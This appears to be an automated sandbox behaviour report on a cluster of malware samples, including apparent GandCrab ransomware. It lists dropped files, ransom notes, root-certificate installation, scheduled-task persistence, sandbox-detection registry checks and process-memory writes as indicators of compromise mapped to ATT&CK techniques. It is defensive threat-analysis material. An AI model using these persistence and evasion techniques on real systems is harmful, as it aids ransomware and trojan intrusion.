File opened for modification	C:\Program Files (x86)\Darkest Dungeon setub.exe	Darkest Dungeon setub.exe
File opened for modification	C:\Program Files\ConvertFromUnregister.potx	wermgr.exe
File opened for modification	C:\Program Files\DismountSuspend.doc	wermgr.exe
File created	C:\Program Files (x86)\7f1630df6b57af024a3b561bdadc208f.exe	クラック.exe
File created	C:\Program Files (x86)\malecus.exe	クラック.exe
File created	C:\Program Files\ULPIVBXNFD-DECRYPT.txt	wermgr.exe
File created	C:\Program Files\f9f35377f9f3549570.lock	wermgr.exe
File opened for modification	C:\Program Files\ExportRestart.wm	wermgr.exe
File created	C:\Program Files (x86)\70e28b4e87181b012f43790f1cc8ccf79aae6d2e3ce66dd1659e8098e6c081c2.exe	クラック.exe
File created	C:\Program Files (x86)\938b92958ded4d50a357d22eddf141ad.exe	クラック.exe
File created	C:\Program Files\Uninstall Information\162168a3447935	73c1c41b9e71c48e752a5cd19fe808b6.exe
File created	C:\Program Files (x86)\Google\CrashReports\31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b65.exe	73c1c41b9e71c48e752a5cd19fe808b6.exe
File opened for modification	C:\Program Files (x86)\938b92958ded4d50a357d22eddf141ad.exe	fwclt.exe
File created	C:\Program Files (x86)\5e710462c65fe899466e4fb7c1e33c9a.exe	クラック.exe
File created	C:\Program Files (x86)\31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b65.exe	クラック.exe
File created	C:\Program Files (x86)\Cat.exe	クラック.exe
File created	C:\Program Files\7-Zip\6cb0b6c459d5d3	73c1c41b9e71c48e752a5cd19fe808b6.exe
File opened for modification	C:\Program Files\TestSkip.odt	wermgr.exe
File opened for modification	C:\Program Files\UnlockConvertFrom.pdf	wermgr.exe
File opened for modification	C:\Program Files (x86)\c2fb092fb7fbdb	wermgr.exe
File created	C:\Program Files (x86)\Microsoft SQL Server Compact Edition\ULPIVBXNFD-DECRYPT.txt	wermgr.exe
File opened for modification	C:\Program Files\PingBackup.clr	wermgr.exe
File opened for modification	C:\Program Files\SuspendClear.vstm	wermgr.exe
File created	C:\Program Files (x86)\75c82fd18fcf8a51bc1b32a89852d90978fa5e7a55281f42b0a1de98d14644fa.exe	クラック.exe
File created	C:\Program Files\DVD Maker\Shared\101702bd01fbb4	a6a1abaf12a28ea8f6553356c3bdcf57.exe
File opened for modification	C:\Program Files (x86)\31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b65.exe	31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b65.exe
File created	C:\Program Files (x86)\Microsoft SQL Server Compact Edition\f9f35377f9f3549570.lock	wermgr.exe
File created	C:\Program Files (x86)\see7.exe	クラック.exe
File created	C:\Program Files\Windows Photo Viewer\ja-JP\5940a34987c991	5e710462c65fe899466e4fb7c1e33c9a.exe
File opened for modification	C:\Program Files\UnregisterExport.dwg	wermgr.exe
File opened for modification	C:\Program Files (x86)\938b92958ded4d50a357d22eddf141ad.exe	938b92958ded4d50a357d22eddf141ad.exe
File created	C:\Program Files (x86)\34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad47219.exe	クラック.exe
File opened for modification	C:\Program Files\Windows Photo Viewer\ja-JP\5940a34987c991	73c1c41b9e71c48e752a5cd19fe808b6.exe
File opened for modification	C:\Program Files\Uninstall Information\162168a3447935	5e710462c65fe899466e4fb7c1e33c9a.exe
File created	C:\Program Files (x86)\f9f35377f9f3549570.lock	wermgr.exe
File created	C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\f9f35377f9f3549570.lock	wermgr.exe
File opened for modification	C:\Program Files\CheckpointConfirm.mp3	wermgr.exe
File opened for modification	C:\Program Files\Uninstall Information\34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad47219.exe	5e710462c65fe899466e4fb7c1e33c9a.exe
File opened for modification	C:\Program Files\Windows Photo Viewer\ja-JP\dllhost.exe	73c1c41b9e71c48e752a5cd19fe808b6.exe
File created	C:\Program Files\Java\jre7\bin\dtplugin\8b0fc3379f9fe8	57ccb6f0bd910fed428761828ae93553.exe
File created	C:\Program Files (x86)\78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe	クラック.exe
File created	C:\Program Files (x86)\evil.exe	クラック.exe

Drops file in Windows directory 9 IoCs

description	ioc	Process
File created	C:\Windows\Microsoft.NET\assembly\WMIADAP.exe	73c1c41b9e71c48e752a5cd19fe808b6.exe
File created	C:\Windows\TAPI\c2dfee82e15fe0	a6a1abaf12a28ea8f6553356c3bdcf57.exe
File created	C:\Windows\TAPI\7f1630df6b57af024a3b561bdadc208f.exe	a6a1abaf12a28ea8f6553356c3bdcf57.exe
File opened for modification	C:\Windows\TAPI\7f1630df6b57af024a3b561bdadc208f.exe	a6a1abaf12a28ea8f6553356c3bdcf57.exe
File created	C:\Windows\Microsoft.NET\assembly\75a57c1bdf437c	73c1c41b9e71c48e752a5cd19fe808b6.exe
File opened for modification	C:\Windows\Microsoft.NET\assembly\WMIADAP.exe	5e710462c65fe899466e4fb7c1e33c9a.exe
File opened for modification	C:\Windows\Microsoft.NET\assembly\75a57c1bdf437c	5e710462c65fe899466e4fb7c1e33c9a.exe
File created	C:\Windows\1.txt	938b92958ded4d50a357d22eddf141ad.exe
File created	C:\Windows\1.txt	BTZ.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2572	Powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 26 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Darkest Dungeon setub.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	vbc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	evil.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wermgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	70e28b4e87181b012f43790f1cc8ccf79aae6d2e3ce66dd1659e8098e6c081c2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Cat.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	evil.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	winhlp32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	server.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	VirusShare_0bd61f046f4d99491fa3588dba294e04.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad47219.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	7f1630df6b57af024a3b561bdadc208f.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	winhlp32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PCCooker2.0_x64.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2f1cc715d0e5d4e9142be74287e75887ec207a6bc006c0617eef653fae74647c.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	938b92958ded4d50a357d22eddf141ad.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b65.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	クラック.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	virus.jk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Gandcrab5.0.3.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	see7.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	kosomk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	75c82fd18fcf8a51bc1b32a89852d90978fa5e7a55281f42b0a1de98d14644fa.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BTZ.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wermgr.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	wermgr.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	wermgr.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
1800	timeout.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
2828	taskkill.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000\Software\Microsoft\Internet Explorer\Main	VirusShare_0bd61f046f4d99491fa3588dba294e04.exe

Modifies registry class 18 IoCs

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Microsoft.MediaCenter.iTv.CiTvStreamInfo.1\2\bin = 17133a445b065703512f5944120d0b114d16186b060a065028523d5f5a731e5b1f512708195e4a175655497d194743	938b92958ded4d50a357d22eddf141ad.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Microsoft.MediaCenter.iTv.CiTvStreamInfo.1\3	938b92958ded4d50a357d22eddf141ad.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Microsoft.MediaCenter.iTv.CiTvStreamInfo.1\Http = "1"	938b92958ded4d50a357d22eddf141ad.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Microsoft.MediaCenter.iTv.CiTvStreamInfo.1\prot_test = "1"	938b92958ded4d50a357d22eddf141ad.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Microsoft.MediaCenter.iTv.CiTvStreamInfo.1\1\bin = 17143f56060656185e21461a071807120c1342271e08521b60116c5f537a5800421379	938b92958ded4d50a357d22eddf141ad.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Microsoft.MediaCenter.iTv.CiTvStreamInfo.1\1	938b92958ded4d50a357d22eddf141ad.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Microsoft.MediaCenter.iTv.CiTvStreamInfo.1\ = "Microsoft.MediaCenter.iTv.CiTvStreamInfo"	938b92958ded4d50a357d22eddf141ad.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Microsoft.MediaCenter.iTv.CiTvStreamInfo.1\MIGRATE = "0"	938b92958ded4d50a357d22eddf141ad.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Microsoft.MediaCenter.iTv.CiTvStreamInfo.1\PRS = "0"	938b92958ded4d50a357d22eddf141ad.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Microsoft.MediaCenter.iTv.CiTvStreamInfo.1\2	938b92958ded4d50a357d22eddf141ad.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Microsoft.MediaCenter.iTv.CiTvStreamInfo.1\3\bin = 17173843051a461e0333590106440d0d0e5143625743521269067e565365	938b92958ded4d50a357d22eddf141ad.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Microsoft.MediaCenter.iTv.CiTvStreamInfo.1	938b92958ded4d50a357d22eddf141ad.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Microsoft.MediaCenter.iTv.CiTvStreamInfo.1\L = "500"	938b92958ded4d50a357d22eddf141ad.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Microsoft.MediaCenter.iTv.CiTvStreamInfo.1\PRC = "0"	938b92958ded4d50a357d22eddf141ad.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Microsoft.MediaCenter.iTv.CiTvStreamInfo.1\test = "0"	938b92958ded4d50a357d22eddf141ad.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Microsoft.MediaCenter.iTv.CiTvStreamInfo.1\CLSID	938b92958ded4d50a357d22eddf141ad.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Microsoft.MediaCenter.iTv.CiTvStreamInfo.1\CLSID\ = "{599141DA-B243-11DB-8460-00123F76E1F7}"	938b92958ded4d50a357d22eddf141ad.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Microsoft.MediaCenter.iTv.CiTvStreamInfo.1\PRM = "0"	938b92958ded4d50a357d22eddf141ad.exe

Modifies system certificate store 2 TTPs 4 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43	78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 0f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa6090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030814000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f0b00000001000000120000004400690067006900430065007200740000001d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d432000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2	78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 190000000100000010000000749966cecc95c1874194ca7203f9b6200300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d431d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0b000000010000001200000044006900670069004300650072007400000014000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703080f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa62000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2	78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 04000000010000001000000087ce0b7b2a0e4900e158719b37a893720f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa6090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030814000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f0b00000001000000120000004400690067006900430065007200740000001d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d43190000000100000010000000749966cecc95c1874194ca7203f9b6202000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2	78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 64 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3200	schtasks.exe
3968	schtasks.exe
1812	schtasks.exe
1808	schtasks.exe
3320	schtasks.exe
3712	schtasks.exe
932	schtasks.exe
2312	schtasks.exe
2844	schtasks.exe
3456	schtasks.exe
3652	schtasks.exe
912	schtasks.exe
1628	schtasks.exe
3172	schtasks.exe
3780	schtasks.exe
2708	schtasks.exe
4028	schtasks.exe
288	schtasks.exe
3888	schtasks.exe
292	schtasks.exe
904	schtasks.exe
3808	schtasks.exe
2688	schtasks.exe
620	schtasks.exe
3284	schtasks.exe
3168	schtasks.exe
1884	schtasks.exe
3536	schtasks.exe
3604	schtasks.exe
2572	schtasks.exe
2824	schtasks.exe
2368	schtasks.exe
1728	schtasks.exe
3436	schtasks.exe
3488	schtasks.exe
3708	schtasks.exe
3820	schtasks.exe
3452	schtasks.exe
1968	schtasks.exe
2624	schtasks.exe
3272	schtasks.exe
2524	schtasks.exe
2356	schtasks.exe
3112	schtasks.exe
3308	schtasks.exe
1728	schtasks.exe
3452	schtasks.exe
3912	schtasks.exe
3972	schtasks.exe
2144	schtasks.exe
3192	schtasks.exe
3396	schtasks.exe
2296	schtasks.exe
1104	schtasks.exe
4072	schtasks.exe
2204	schtasks.exe
3120	schtasks.exe
4048	schtasks.exe
3036	schtasks.exe
3232	schtasks.exe
3748	schtasks.exe
4040	schtasks.exe
2224	schtasks.exe
2808	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1236	5e710462c65fe899466e4fb7c1e33c9a.exe
2704	73c1c41b9e71c48e752a5cd19fe808b6.exe
3044	a6a1abaf12a28ea8f6553356c3bdcf57.exe
3044	a6a1abaf12a28ea8f6553356c3bdcf57.exe
3044	a6a1abaf12a28ea8f6553356c3bdcf57.exe
3044	a6a1abaf12a28ea8f6553356c3bdcf57.exe
2324	57ccb6f0bd910fed428761828ae93553.exe
2324	57ccb6f0bd910fed428761828ae93553.exe
2324	57ccb6f0bd910fed428761828ae93553.exe
2324	57ccb6f0bd910fed428761828ae93553.exe
3044	a6a1abaf12a28ea8f6553356c3bdcf57.exe
3044	a6a1abaf12a28ea8f6553356c3bdcf57.exe
3044	a6a1abaf12a28ea8f6553356c3bdcf57.exe
3044	a6a1abaf12a28ea8f6553356c3bdcf57.exe
3044	a6a1abaf12a28ea8f6553356c3bdcf57.exe
3044	a6a1abaf12a28ea8f6553356c3bdcf57.exe
3044	a6a1abaf12a28ea8f6553356c3bdcf57.exe
3044	a6a1abaf12a28ea8f6553356c3bdcf57.exe
2324	57ccb6f0bd910fed428761828ae93553.exe
2324	57ccb6f0bd910fed428761828ae93553.exe
2324	57ccb6f0bd910fed428761828ae93553.exe
2324	57ccb6f0bd910fed428761828ae93553.exe
2324	57ccb6f0bd910fed428761828ae93553.exe
2324	57ccb6f0bd910fed428761828ae93553.exe
2324	57ccb6f0bd910fed428761828ae93553.exe
2324	57ccb6f0bd910fed428761828ae93553.exe
3044	a6a1abaf12a28ea8f6553356c3bdcf57.exe
3044	a6a1abaf12a28ea8f6553356c3bdcf57.exe
3044	a6a1abaf12a28ea8f6553356c3bdcf57.exe
3044	a6a1abaf12a28ea8f6553356c3bdcf57.exe
3044	a6a1abaf12a28ea8f6553356c3bdcf57.exe
3044	a6a1abaf12a28ea8f6553356c3bdcf57.exe
3044	a6a1abaf12a28ea8f6553356c3bdcf57.exe
3044	a6a1abaf12a28ea8f6553356c3bdcf57.exe
3044	a6a1abaf12a28ea8f6553356c3bdcf57.exe
3044	a6a1abaf12a28ea8f6553356c3bdcf57.exe
3044	a6a1abaf12a28ea8f6553356c3bdcf57.exe
3044	a6a1abaf12a28ea8f6553356c3bdcf57.exe
3044	a6a1abaf12a28ea8f6553356c3bdcf57.exe
3044	a6a1abaf12a28ea8f6553356c3bdcf57.exe
3044	a6a1abaf12a28ea8f6553356c3bdcf57.exe
3044	a6a1abaf12a28ea8f6553356c3bdcf57.exe
3044	a6a1abaf12a28ea8f6553356c3bdcf57.exe
3044	a6a1abaf12a28ea8f6553356c3bdcf57.exe
3044	a6a1abaf12a28ea8f6553356c3bdcf57.exe
3044	a6a1abaf12a28ea8f6553356c3bdcf57.exe
3044	a6a1abaf12a28ea8f6553356c3bdcf57.exe
3044	a6a1abaf12a28ea8f6553356c3bdcf57.exe
3044	a6a1abaf12a28ea8f6553356c3bdcf57.exe
3044	a6a1abaf12a28ea8f6553356c3bdcf57.exe
3044	a6a1abaf12a28ea8f6553356c3bdcf57.exe
3044	a6a1abaf12a28ea8f6553356c3bdcf57.exe
3044	a6a1abaf12a28ea8f6553356c3bdcf57.exe
3044	a6a1abaf12a28ea8f6553356c3bdcf57.exe
3044	a6a1abaf12a28ea8f6553356c3bdcf57.exe
3044	a6a1abaf12a28ea8f6553356c3bdcf57.exe
3044	a6a1abaf12a28ea8f6553356c3bdcf57.exe
3044	a6a1abaf12a28ea8f6553356c3bdcf57.exe
3044	a6a1abaf12a28ea8f6553356c3bdcf57.exe
3044	a6a1abaf12a28ea8f6553356c3bdcf57.exe
3044	a6a1abaf12a28ea8f6553356c3bdcf57.exe
3044	a6a1abaf12a28ea8f6553356c3bdcf57.exe
3044	a6a1abaf12a28ea8f6553356c3bdcf57.exe
3044	a6a1abaf12a28ea8f6553356c3bdcf57.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
2456	34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad47219.exe

Suspicious behavior: LoadsDriver 2 IoCs

pid	Process
476	Process not Found
476	Process not Found

Suspicious use of AdjustPrivilegeToken 10 IoCs

description	pid	Process
Token: SeDebugPrivilege	1552	7f1630df6b57af024a3b561bdadc208f.exe
Token: SeDebugPrivilege	2324	57ccb6f0bd910fed428761828ae93553.exe
Token: SeDebugPrivilege	2704	73c1c41b9e71c48e752a5cd19fe808b6.exe
Token: SeDebugPrivilege	1576	Client.exe
Token: SeDebugPrivilege	3044	a6a1abaf12a28ea8f6553356c3bdcf57.exe
Token: SeDebugPrivilege	1236	5e710462c65fe899466e4fb7c1e33c9a.exe
Token: SeDebugPrivilege	1516	see7.exe
Token: SeDebugPrivilege	1848	TEST.exe
Token: SeDebugPrivilege	3940	dllhost.exe
Token: SeDebugPrivilege	4036	dllhost.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
636	VirusShare_0bd61f046f4d99491fa3588dba294e04.exe
636	VirusShare_0bd61f046f4d99491fa3588dba294e04.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3024 wrote to memory of 636	3024	PCCooker2.0_x64.exe	31
PID 3024 wrote to memory of 636	3024	PCCooker2.0_x64.exe	31
PID 3024 wrote to memory of 636	3024	PCCooker2.0_x64.exe	31
PID 3024 wrote to memory of 636	3024	PCCooker2.0_x64.exe	31
